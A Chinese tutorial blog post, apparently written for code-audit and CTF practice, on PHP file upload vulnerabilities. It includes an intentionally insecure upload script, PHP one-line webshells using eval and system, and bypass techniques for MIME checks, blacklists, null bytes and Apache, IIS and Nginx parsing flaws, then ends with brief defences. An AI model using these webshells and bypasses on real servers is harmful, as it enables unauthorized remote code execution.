2020/1/30 PHP代码审计之文件上传漏洞
0x00 漏洞简介
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击是最为直接和有效的,“文件上传”本身是没有问题,有问题的是文件上传后,服务器怎么处理,解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果,。
0x01漏洞条件
文件可上传
知道文件上传的路径
上传文件可以被访问
上传文件可以被执行
0x02 挖掘思路
上传点都调用同一个上传类,直接全局搜索上传函数
黑盒寻找上传点,代码定位。
0x03 写一个上传
我们先写一个上传的前端
<html>
<head>
<meta charset="UTF-8">
<title>upload.html</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="上传文件">
<!--<input type="hidden" name="MAX_FILE_SIZE" name="4098">//设置文件上传大小,一般在php.ini里面设置-->
</form>
</body>
</html>
写一个上传php
<?php
$upload_dir = "D:\PHPSTUDY2018\PHPTutorial\WWW\upload";
if(isset($_FILES['file'])){
$upload_name = $upload_dir . "\\" . $_FILES['file'];
move_uploaded_file($_FILES['file']['tmp_name'],$upload_name);
echo "Type:" . $_FILES['file']['type']. "<br >";
echo "Size:" . ($_FILES['file']['size'] / 1024) . "<br >";
echo "Name:" . $_FILES['file']['name'];//这三行是我们看一下上传效果。
}else{
echo"上传失败";
}
写一个最简单的一句话
<?php
@eval($_POST['777'])
?>
上传:
看到上传成功

之后拿蚁剑连接就行
这是一个最简单最简单的例子,只是让自己开始往白盒方向转变。慢慢积累
0x04 文件上传绕过
1:客户端js检测检测绕过
检测原理
在客户端通过javascript代码来检测用户提交的文件是否合法
绕过方法
- 添加允许上传的文件类型,使自己想要上传的会见类型为合法
2、删除对js验证脚本的调用,使其不能对上传的文件类型做检测,从而达到绕过 -同样的通过审查元素,查看到form表单的内容,form的开始标签为,其中的onsubmit="return checkFile()的作用就是当点击上传按钮的时候,就会触发js验证脚本,所以将这一部分删除,变可以成功绕过检测
3、利用burpsuite抓包,修改文件类型进行绕过-首先将我们想要上传的恶意脚本的后缀更改为符合要求的文件类型后缀如:webshell.php -> webshell.jpg-当点击上传的时候使用burp进行抓包,将名字的后缀改回.php,以便上传至服务器能够正确解析
2:服务端绕过
1:MIME类型检测绕过
检测原理
当用户上传文件到服务器端的时候,服务器端的程序会获取上传文件的MIME类型,然后用这个获取到的类型来和期望的MIME类型进行匹配,如果匹配不上则说明上传的文件不合法。服务端检测MIME类型的代码如下:
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')){
...//判断过后对文件处理的进一步操作
}
绕过方法
因为服务端检测的是文件的MIME类型,而对这个MIME类型的的值的获取是通过HTTP请求字段里的Content-Type字段 ,所以绕过的方法就是通过修改Content-Type的值,比如修改为image/jpeg;image/png;image/gif等等允许上传类型对应的MIME值
2:黑名单绕过
检测原理
文件类型根据黑名单来检测的原理就是:服务器程序根据一份文件后缀名的名单来判断是否允许当前文件上传到服务器,只要上传的文件的类型能够和这个黑名单里面的类型匹配,那么就禁止该文件上传
绕过方法
1. 文件名大小写绕过
用像AsP, pHp之类的文件名绕过黑名单检测2. 名单列表绕过
用黑名单里没有的名单进行攻击,比如黑名单里没有asa或cer之类
3. 特殊文件名绕过
比如发送的 http包里把文件名改成 test.asp. 或 test.asp_(下划线为空格),这种命名方式
在windows系统里是不被允许的,所以需要在 burp之类里进行修改,然后绕过验证后,会
被windows系统自动去掉后面的点和空格,但要注意Unix/Linux系统没有这个特性。
4.0x00截断绕过
test.php(0x00).jpg test.php%00.jpg
- .htaccess文件攻击
6. 解析调用/漏洞绕过
7:.ini文件攻击
8:文件头绕过
在木马内容基础上再加了一些文件信息,有点像下面的结构GIF89a<?php phpinfo(); ?>
9:多个Content-Disposition
在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过,Win2k8 + IIS7.0 + PHP
10:目录验证
iis6.0存在写入目录
3:web应用程序解析绕过
1. Apache解析漏洞
解析:test.php.(任意不属于黑名单且也不属于Apache解析白名单的名称),比如test.php.lala
描述:一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错
2. IIS解析漏洞
解析 :test.asp/(任意文件名)|test.asp;(任意文件名) | (任意文件名)/(任意文件名).php
描述:IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,
那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"会优先按asp来解析
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;
3. Nginx解析漏洞
解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php
描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
0x05 我打ctf经常用的一句话
1:碰到过一次任意文件上穿漏洞,在config.php中并未发现定义类型Media,请求:upload/.php?Type=Media
2:上传图片马
3:序列化木马:
<?php
class A{
var $a = "<?php phpinfo()?>";
}
$aa = new A();
echo serialize($aa);
?>
4:php,php3,php4,php5,phtml.pht
5:扩展名绕过
Asp:asa cer cdx
Aspx:ashx asmx ascx
Php:php3 phptml
Jsp:jspx jspf
6:
<script language=php>system("ls")</script>
7:
GIF89a?
<script language="php">eval($_REQUEST[shell])</script>
0x06 防御
文件扩展名服务端白名单校验。
文件内容服务端校验。
上传文件重命名。
隐藏上传文件路径。
参考链接https://www.cnblogs.com/ldhbetter/p/9190556.html
2020/1/30 PHP代码审计之文件上传漏洞的更多相关文章
- 【代码审计】UKCMS_v1.1.0 文件上传漏洞分析
0x00 环境准备 ukcms官网:https://www.ukcms.com/ 程序源码下载:http://down.ukcms.com/down.php?v=1.1.0 测试网站首页: 0x0 ...
- 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析
0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...
- 【代码审计】QYKCMS_v4.3.2 任意文件上传漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】BootCMS v1.1.3 文件上传漏洞分析
0x00 环境准备 BootCMS官网:http://www.kilofox.net 网站源码版本:BootCMS v1.1.3 发布日期:2016年10月17日 程序源码下载:http://w ...
- JEECG代码审计之文件上传
JEECG代码审计之文件上传 0x01 简述 JEECG(J2EE Code Generation)是一款基于代码生成器JEE的智能开发平台.引领新的开发模式(Online Coding->代码 ...
- 【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- 【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...
- php代码审计8审计文件上传漏洞
文件上传漏洞是指用户上传了一个可执行的脚步文件,并通过此脚本文件获得了执行服务器端命令的能力,这种攻击方式是最直接和有效的,文件上传本身是没问题的,有问题的是文件上传后,服务器怎么处理,解释文件,通过 ...
- 文件上传漏洞演示脚本之js验证
文件上传漏洞演示脚本之js验证 0 0 716 关于文件上传漏洞,想必玩web安全的同学们都有接触,之前本站也发布过一篇文章介绍文件上传漏洞的各种绕过方法,但是只是有文档却没有演示代码 ...
随机推荐
- Readiness 探测【转】
除了 Liveness 探测,Kubernetes Health Check 机制还包括 Readiness 探测. 用户通过 Liveness 探测可以告诉 Kubernetes 什么时候通过重启容 ...
- hadoop-mapreduce的官方示例的测试执行方法
1.根据给出的精度参数计算 pi : hadoop jar /export/servers/hadoop-2.6.0-cdh5.14.0/share/hadoop/mapreduce/hadoop-m ...
- 《Airbnb架构要点分享》阅读笔记
Airbnb成立于2008年8月,总部位于加利福尼亚州旧金山市.Airbnb是一个值得信赖的社区型市场,在这里人们可以通过网站.手机或平板电脑发布.发掘和预订世界各地的独特房源,其业务已经覆盖190个 ...
- ACM-小偷的背包
题目描述:小偷的背包 设有一个背包可以放入的物品重量为S,现有n件物品,重量分别是w1,w2,w3,...,wn.问能否从这n件物品中选择若干件放入背包中,使得放入的重量之和正好为S.如果有满足条 ...
- HDU - 3729 I'm Telling the Truth(二分匹配)
题意:有n个人,每个人给出自己的名次区间,问最多有多少个人没撒谎,如果有多解,输出字典序最大的解. 分析: 1.因为字典序最大,所以从后往前分析. 2.假设后面的人没说谎,并将此作为已知条件,然后从后 ...
- NASA航天技术演示实验集
为了支持太空探索NASA开起了一系列先进太空技术演示实验. 具体的实验实验地址在:https://www.nasa.gov/mission_pages/tdm/main/overview.html 通 ...
- 【LeetCode】合并两个有序数组
[问题] 给定两个有序整数数组 nums1 和 nums2,将 nums2 合并到 nums1 中,使得 num1 成为一个有序数组. 说明:初始化 nums1 和 nums2 的元素数量分别为 m ...
- s5pc100开发板网卡驱动的移植
相关软件下载地址:http://pan.baidu.com/s/16yo8Y fsc100开发板 交叉编译工具:arm-cortex_a8-linux-gnueabi-gcc 平台代码修改 vim ...
- plsql调用执行存储过程
参考 https://www.cnblogs.com/enjoyjava/p/9131169.html ------------------------------------------------ ...
- 150-PHP nl2br函数(一)
<?php $str="h t m l"; //定义一个多处换行的字串 echo "未处理前的输出形式:<br />{$str}"; #nl2 ...